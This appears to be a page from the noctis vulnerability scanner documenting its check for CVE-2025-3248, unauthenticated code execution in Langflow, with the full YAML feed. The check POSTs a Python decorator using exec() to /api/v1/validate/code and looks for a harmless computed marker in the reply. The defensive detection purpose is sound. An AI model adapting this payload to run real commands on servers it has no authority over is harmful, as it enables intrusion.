Langflow — 1 vulnerability check

noctis ships 1 vulnerability check for Langflow, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Langflow AI Unauthenticated RCE via /api/v1/validate/code

CVECVE-2025-3248
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/langflow/CVE-2025-3248.yaml

Posts Python code to the unauthenticated /api/v1/validate/code endpoint whose function decorator raises an exception carrying NOCTIS followed by the sum of two random numbers. Langflow executes the function definition while validating it and returns the exception text in the JSON reply; finding that exact sum, computed by the server and never sent in the request, confirms code execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /api/v1/validate/code with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_resp.body for NOCTIS[0-9]{7} → finding QoD 97: POST /api/v1/validate/code ran a decorator raising Exception('NOCTIS'+str(…+…)); the reply carries the computed marker … at …:…
Feed source — tests/vulnerabilities/langflow/CVE-2025-3248.yaml
uid: af0a173c-d90a-4869-b314-a5a40296e53e
name: "Langflow AI Unauthenticated RCE via /api/v1/validate/code (CVE-2025-3248)"
description: |
  Posts Python code to the unauthenticated /api/v1/validate/code endpoint whose
  function decorator raises an exception carrying NOCTIS followed by the sum of two
  random numbers. Langflow executes the function definition while validating it and
  returns the exception text in the JSON reply; finding that exact sum, computed by
  the server and never sent in the request, confirms code execution.
cves: [CVE-2025-3248]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
  - langflow
  - rce
  - kev
  - ai
  - unauthenticated
services:
  - http
  - https
author: noctis
version: "2.0.0"

steps:
  # validate_code() exec()s each function definition, so its decorator runs.
  # The decorator raises Exception('NOCTIS' + str(A+B)); Langflow reports the
  # message in function.errors. The sum is computed by the Python interpreter
  # and never sent, so an echoing or passwd-serving reply cannot contain it.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  - id: init
    action: set_var
    var_name: rce_resp
    var_value: {status: 0, body: ""}

  - id: rce-probe
    action: http_request
    method: POST
    path: /api/v1/validate/code
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    follow_redirects: false
    headers:
      Content-Type: "application/json"
    body: '{"code": "@exec(\"raise Exception(\u0027NOCTIS\u0027+str({{p.a}}+{{p.b}}))\")\ndef noctis_probe():\n    pass\n"}'
    store_as: rce_resp

  - id: check
    action: script
    store_as: hit
    code: |
      rce_resp.status == 200 && type_of(rce_resp.body) == "string" && stridx(rce_resp.body, p.marker) >= 0

  - id: rce-confirmed
    action: match
    source: rce_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "POST /api/v1/validate/code ran a decorator raising Exception('NOCTIS'+str({{p.a}}+{{p.b}})); the reply carries the computed marker {{p.marker}} at {{target_host}}:{{port}}"

View these feeds on GitHub